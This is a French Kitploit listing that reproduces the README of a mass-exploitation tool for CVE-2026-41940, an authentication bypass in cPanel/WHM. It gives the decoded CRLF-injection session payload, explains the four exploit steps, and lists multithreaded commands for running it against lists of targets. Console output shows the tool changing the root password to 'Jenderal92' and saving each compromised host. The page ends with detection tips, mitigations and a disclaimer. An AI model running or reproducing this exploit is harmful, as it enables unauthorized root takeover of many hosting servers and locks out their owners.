Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-41940 — Scanner de masse et outil d'exploitation massive pour la CVE-2026-41940 sur cPanel/WHM, conçu pour la validation automatisée des cibles et une exécution multithread à haute vitesse. | Kitploit
Outils/GitHubGitHub/jenderal92/cve-2026-41940
Scanners de VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionCommandement et ContrôleAuthentificationRed TeamingDéveloppement de Charges Utiles
GitHubjenderal92/cve-2026-41940

CVE-2026-41940

Scanner de masse et outil d'exploitation massive pour la CVE-2026-41940 sur cPanel/WHM, conçu pour la validation automatisée des cibles et une exécution multithread à haute vitesse.

4411il y a 3 moisPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-41940 - Exploit de masse de contournement d'authentification WHM/cPanel

43153

📋 Description

CVE-2026-41940 est une vulnérabilité critique de contournement d'authentification dans WHM/cPanel qui permet aux attaquants de contourner l'authentification et d'obtenir un accès root à un serveur sans identifiants valides. La vulnérabilité exploite une injection CRLF dans le mécanisme de gestion de session pour injecter des paramètres de session malveillants.

Cet outil offre des capacités d'exploitation de masse avec prise en charge du multithreading pour tester plusieurs cibles simultanément, avec une détection intelligente du succès et un filtrage automatique des cibles invalides.


🎯 Principales fonctionnalités

FonctionnalitéDescription
✅ Exploitation de masseScanne et exploite plusieurs cibles à partir d'un fichier de liste
🚀 MultithreadingNombre de threads configurable pour un scan plus rapide (défaut : 15)
🔐 Changement automatique de mot de passeChange le mot de passe root en Jenderal92 lors d'un exploit réussi
🛡️ Détection intelligente de succèsDétecte automatiquement divers formats de réponse de l'API WHM
⚠️ Filtrage des erreurs de licenceExclut les cibles avec des erreurs de licence invalide/illisible
📝 Sortie structuréeEnregistre uniquement les succès confirmés au format `domain:port
🛡️ Prise en charge SSL/TLSGère automatiquement les certificats auto-signés
🔄 Gestion de sessionExtraction automatique de session, injection de cookies et gestion des jetons
⏱️ Contrôle du délai d'attenteDélai d'attente de connexion configurable (défaut : 15 secondes)
🔍 Vérification pré-connexionVérifie la disponibilité du port avant la tentative d'exploitation
📊 Progression en temps réelAffiche la progression détaillée de chaque étape d'exploitation

📦 Prérequis

  • Python 2.7 (requis - PAS compatible avec Python 3.x)
  • Connexion Internet pour accéder aux cibles
  • Paquets Python requis :
root@kitploit:~
pip install requests urllib3 futures

Ou utilisez requirements.txt :

root@kitploit:~
requests==2.27.1
urllib3==1.26.18
futures==3.4.0

📥 Installation

root@kitploit:~
# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Install dependencies
pip install -r requirements.txt

# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py

🚀 Utilisation

1. Préparer le fichier de cibles

Créez un fichier targets.txt avec une cible par ligne :

root@kitploit:~
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

Remarque : Le port 2087 est le port WHM par défaut. S'il n'est pas spécifié, le port 2087 sera utilisé automatiquement. Le préfixe HTTP/HTTPS sera ajouté automatiquement s'il manque.

2. Exécuter l'exploit

Utilisation de base (paramètres par défaut)

root@kitploit:~
python2 CVE-2026-41940.py targets.txt

Utilisation multithread

root@kitploit:~
# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5

# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20

Nom d'hôte personnalisé

root@kitploit:~
# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

Délai d'attente personnalisé

root@kitploit:~
# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

📊 Arguments de la ligne de commande

ArgumentDescriptionDéfautRequis
list_fileFichier contenant la liste des cibles (une par ligne)-✅ Oui
--threadsNombre de threads simultanés15❌ Non
--hostnameRemplace l'en-tête Host pour toutes les ciblesDétection automatique❌ Non
--timeoutDélai d'attente de connexion en secondes15❌ Non

📁 Format de sortie

Fichier de résultats (res.txt)

Seuls les exploits réussis confirmés sont enregistrés. Les cibles présentant des erreurs de licence, des échecs de changement de mot de passe ou des problèmes de connexion sont automatiquement exclues.

Format :

root@kitploit:~
domain:port|root|Jenderal92

Exemple de sortie :

root@kitploit:~
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

Scénarios exclus

Les cibles suivantes ne seront PAS enregistrées dans res.txt :

  • Erreurs de licence (Cannot Read License File)
  • Échecs de changement de mot de passe
  • Dépassements de délai ou refus de connexion
  • Cibles corrigées/sans WHM
  • Identifiants incorrects ou échecs de session

Sortie console

root@kitploit:~
$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED

==================================================

[*] Checking target: 127.0.0.1
    Original input: 127.0.0.1
    Normalized: https://127.0.0.1:2087
    Port 2087: OPEN
    Testing connection... OK (HTTP 200)

[0] hostname = example.com
[1] minting a preauth session...
    session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
    HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] attempting to change the root password
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!

[✓] SUCCESS & SAVED: 127.0.0.1:2087
    Saved to res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4

[+] Results saved to res.txt

Successfully exploited targets (password changed to Jenderal92):
  ✓ 127.0.0.1:2087

🔬 Comment fonctionne l'exploit

L'exploit se compose de 4 étapes principales avec vérification intelligente :

Étape 1 : Session de pré-authentification

root@kitploit:~
[1] minting a preauth session...
  • Envoie une requête POST vers /login/?login_only=1 avec des identifiants invalides
  • Récupère le cookie whostmgrsession dans la réponse du serveur
  • Extrait la base de session en supprimant la partie finale ,<obhex>
  • Cela nous donne un format de session valide avec lequel travailler

Étape 2 : Attaque par injection CRLF

root@kitploit:~
[2] sending the CRLF injection...
  • Envoie une requête GET avec un en-tête Authorization: Basic contenant une charge utile malveillante
  • La charge utile Base64 se décode en :
    root@kitploit:~
    root:x
    successful_internal_auth_with_timestamp=9999999999
    user=root
    tfa_verified=1
    hasroot=1
    
  • Les caractères CRLF (\r\n) injectent de faux paramètres de session
  • Cela trompe le serveur en lui faisant croire que l'authentification a réussi
  • Le serveur répond avec un HTTP 307 et un en-tête Location contenant le cp_security_token

Étape 3 : Propagation de session

root@kitploit:~
[3] firing do_token_denied to propagate...
  • Accède au point de terminaison /scripts2/listaccts avec le cookie manipulé
  • Déclenche le mécanisme do_token_denied dans WHM
  • Cela propage les paramètres de session injectés dans le cache de session du serveur
  • Une réponse HTTP 401 avec « Token denied » confirme la propagation réussie

Étape 4 : Vérification et changement de mot de passe

root@kitploit:~
[4] verifying we're WHM root...
  • Accède à /json-api/version pour vérifier l'accès au niveau root
  • Appelle l'API /json-api/passwd pour changer le mot de passe root en Jenderal92
  • Détecte intelligemment le succès à travers plusieurs formats de réponse de l'API WHM :
    • {"metadata": {"result": 1}} (cPanel v11.118+)
    • {"status": 1} (versions plus anciennes)
    • {"result": [{"status": 1}]} (format hérité)
    • Messages de succès textuels

Filtrage automatique

L'outil exclut automatiquement :

  • Erreurs de licence : {"status": 0, "statusmsg": "Cannot Read License File"}
  • Échecs de changement de mot de passe : lorsque l'API renvoie un code de succès mais que le mot de passe n'a pas été changé
  • Problèmes de connexion : dépassements de délai, connexions refusées, hôtes inaccessibles

🛡️ Détection et atténuation

Indicateurs de compromission (IOC)

IndicateurDescription
Cookie whostmgrsession anormalSchémas de cookie inhabituels sans authentification appropriée
Caractères CRLF dans les en-têtesDétection de séquences \r\n dans les en-têtes HTTP
Accès à /scripts2/listacctsAccès non autorisé à ce chemin
Mot de passe Jenderal92Connexion réussie utilisant ce mot de passe spécifique
Fuite du jeton cpsessJeton de sécurité visible dans l'en-tête Location
Échec de connexion suivi d'un succèsPOST vers /login/?login_only=1 avec un mauvais mot de passe, puis accès privilégié

Journaux à surveiller

root@kitploit:~
# WHM access log
/usr/local/cpanel/logs/access_log

# cPanel error log  
/usr/local/cpanel/logs/error_log

# Authentication log
/var/log/secure

# System messages
/var/log/messages

Mesures d'atténuation

  1. Mettez à jour WHM/cPanel vers la dernière version corrigée immédiatement

    root@kitploit:~
    /usr/local/cpanel/scripts/upcp
    
  2. Activez l'authentification à deux facteurs (2FA) pour tous les comptes, en particulier root

    root@kitploit:~
    WHM → Security Center → Two-Factor Authentication
    
  3. Restreignez l'accès à WHM avec une liste blanche d'adresses IP

    root@kitploit:~
    WHM → Security Center → Host Access Control
    
  4. Surveillez régulièrement les journaux d'accès pour détecter des schémas suspects

    root@kitploit:~
    tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
    
  5. Changez tous les mots de passe si une compromission est suspectée

  6. Utilisez des règles de pare-feu pour restreindre l'accès au port 2087

    root@kitploit:~
    # Allow only trusted IPs
    iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
    iptables -A INPUT -p tcp --dport 2087 -j DROP
    
    # Or use CSF/LFD firewall
    csf -a YOUR_TRUSTED_IP
    
  7. Implémentez des règles WAF pour détecter les tentatives d'injection CRLF

  8. Audits de sécurité réguliers des installations WHM/cPanel


📝 Exemples d'utilisation dans différents scénarios

Scénario 1 : Test d'une cible unique

root@kitploit:~
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1

Scénario 2 : Audit de serveurs en masse

root@kitploit:~
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20

Scénario 3 : Réseau lent/longue distance

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45

Scénario 4 : Nom d'hôte personnalisé derrière un proxy/équilibreur de charge

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10

Scénario 5 : Cibles avec ports variés

root@kitploit:~
# targets.txt can contain various formats:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50

# All will be normalized automatically
python2 CVE-2026-41940.py targets.txt --threads 15

⚙️ Dépannage

Erreur : « module 'urllib' has no attribute 'urlsplit' »

Problème : Utilisation de Python 3 au lieu de Python 2.7
Solution : Cet outil nécessite spécifiquement Python 2.7.

root@kitploit:~
# Check Python version
python2 --version  # Must show Python 2.7.x

# Run with python2 explicitly
python2 CVE-2026-41940.py targets.txt

Erreur : « Connection refused - target unreachable »

Problème : La cible est hors ligne ou un pare-feu bloque
Solution :

root@kitploit:~
# Test manually
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087

Erreur : « /login didn't issue a whostmgrsession cookie »

Problème : La cible est peut-être corrigée ou n'exécute pas WHM
Solution :

  • Vérifiez que la cible exécute WHM/cPanel
  • Vérifiez si la cible est accessible via un navigateur à https://target:2087
  • La cible a peut-être déjà le correctif CVE-2026-41940 appliqué

Performances de scan lentes

Solution : Ajustez le nombre de threads et le délai d'attente

root@kitploit:~
# For many targets with good connectivity
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10

# For unreliable connections
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45

Erreurs de licence dans la sortie

Remarque : Les cibles affichant Cannot Read License File sont automatiquement exclues de res.txt. C'est un comportement attendu car les changements de mot de passe ne fonctionnent pas sur les installations WHM sans licence.


🔧 Configuration avancée

Modification de la charge utile personnalisée

Vous pouvez modifier PAYLOAD_B64 pour des paramètres de session personnalisés :

root@kitploit:~
import base64

# Custom payload
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""

encoded = base64.b64encode(payload.encode())
print(encoded)

Mot de passe personnalisé

Changez le mot de passe dans la fonction do_passwd() (ligne ~280) :

root@kitploit:~
{"user": "root", "password": "YourCustomPassword123"}

Ajustement de la détection de succès

La fonction do_passwd() peut être modifiée pour détecter des formats de réponse WHM personnalisés :

root@kitploit:~
# Add custom pattern in do_passwd()
if 'your_custom_success_string' in (r.text or '').lower():
    return "success"

🤝 Contribution

Les contributions sont les bienvenues ! Veuillez suivre ces étapes :

  1. Forkez le dépôt
  2. Créez une branche de fonctionnalité (git checkout -b feature/AmazingFeature)
  3. Validez vos modifications (git commit -m 'Add some AmazingFeature')
  4. Poussez vers la branche (git push origin feature/AmazingFeature)
  5. Ouvrez une demande de tirage (Pull Request)

Directives de développement

  • Maintenez la compatibilité Python 2.7
  • Testez avec différentes versions de WHM/cPanel
  • Ajoutez une gestion d'erreurs appropriée
  • Mettez à jour la documentation pour les nouvelles fonctionnalités

⭐ Historique d'étoiles

Si cet outil est utile pour vos recherches en sécurité, veuillez lui attribuer une ⭐ sur GitHub !

Star History Chart


❗ FAQ

Q : Cet outil peut-il être détecté ?
R : Oui, cet outil laisse des traces dans les journaux d'accès WHM/cPanel. Utilisez-le uniquement avec une autorisation appropriée et pour des tests de sécurité légitimes.

Q : Combien de temps prend l'exploitation ?
R : Environ 5 à 15 secondes par cible selon la latence du réseau et le temps de réponse du serveur.

Q : Nécessite-t-il un accès root préalable ?
R : Non, cet exploit fonctionne entièrement depuis l'extérieur sans aucune authentification.

Q : Cet outil fonctionne-t-il sous Windows ?
R : Oui, tant que Python 2.7 est correctement installé et configuré.

Q : Ma cible utilise un port différent, que dois-je faire ?
R : Spécifiez le port dans l'URL de la cible : https://target.com:2083 pour cPanel ou tout port personnalisé.

Q : Pourquoi certaines cibles ne sont-elles pas enregistrées dans res.txt alors que l'exploit a fonctionné ?
R : L'outil n'enregistre que les cibles dont le mot de passe a été changé avec succès. Les cibles présentant des erreurs de licence, des échecs de changement de mot de passe ou d'autres problèmes sont exclues même si le contournement d'authentification a réussi.

Q : Quelles versions de WHM/cPanel sont vulnérables ?
R : Les versions antérieures au correctif CVE-2026-41940. Consultez le journal des modifications de cPanel pour connaître la version corrigée.


📌 Remarques importantes

  • ✅ Cet outil change le mot de passe root en Jenderal92 lors d'une exploitation réussie
  • 📡 Le port WHM par défaut est 2087 (utilisé automatiquement s'il n'est pas spécifié)
  • 🔒 La vérification des certificats SSL est désactivée pour prendre en charge les certificats auto-signés
  • 💾 Seuls les succès confirmés (mot de passe changé) sont enregistrés dans res.txt
  • ⚠️ Les erreurs de licence et les échecs de changement de mot de passe sont automatiquement filtrés
  • 🔄 Chaque exécution crée un nouveau fichier res.txt (les anciens résultats sont supprimés)
  • 🌐 Le préfixe HTTP/HTTPS est automatiquement ajouté s'il manque aux cibles
  • 🧵 Le nombre de threads par défaut est de 15, ajustable selon les capacités du système

Créé à des fins de recherche en sécurité éducative
Utilisez de manière responsable, restez légal, restez éthique


⚠️ AVERTISSEMENT

⚠️ AVERTISSEMENT CRITIQUE !

Cet outil a été créé exclusivement pour :

  • ✅ Des fins éducatives et de recherche en sécurité
  • ✅ Des tests d'intrusion autorisés
  • ✅ Des évaluations de sécurité sur des systèmes que vous possédez
  • ✅ La vérification de vulnérabilités avec autorisation écrite

Utilisations STRICTEMENT INTERDITES :

  • ❌ L'accès à des systèmes sans autorisation explicite
  • ❌ Toute forme d'activités illégales
  • ❌ Des actions malveillantes ou causant des dommages aux systèmes
  • ❌ L'accès non autorisé à tout système informatique
  • ❌ La violation de toute loi locale, nationale ou fédérale

Les auteurs déclinent toute responsabilité en cas d'utilisation abusive, de dommages ou de conséquences résultant de l'utilisation de cet outil. En utilisant cet outil, vous acceptez de l'utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

Si vous continuez, vous reconnaissez que :

  1. Vous avez l'autorisation de tester les systèmes cibles
  2. Vous comprenez les implications juridiques d'un accès non autorisé
  3. Vous vous conformerez à toutes les lois et réglementations applicables
  4. Les auteurs ne sont pas responsables de vos actions

Pour plus d'avertissements, vous pouvez consulter la clause de non-responsabilité sur la page de Jenderal92. Vous pouvez la vérifier ICI !!!

Télécharger l’outil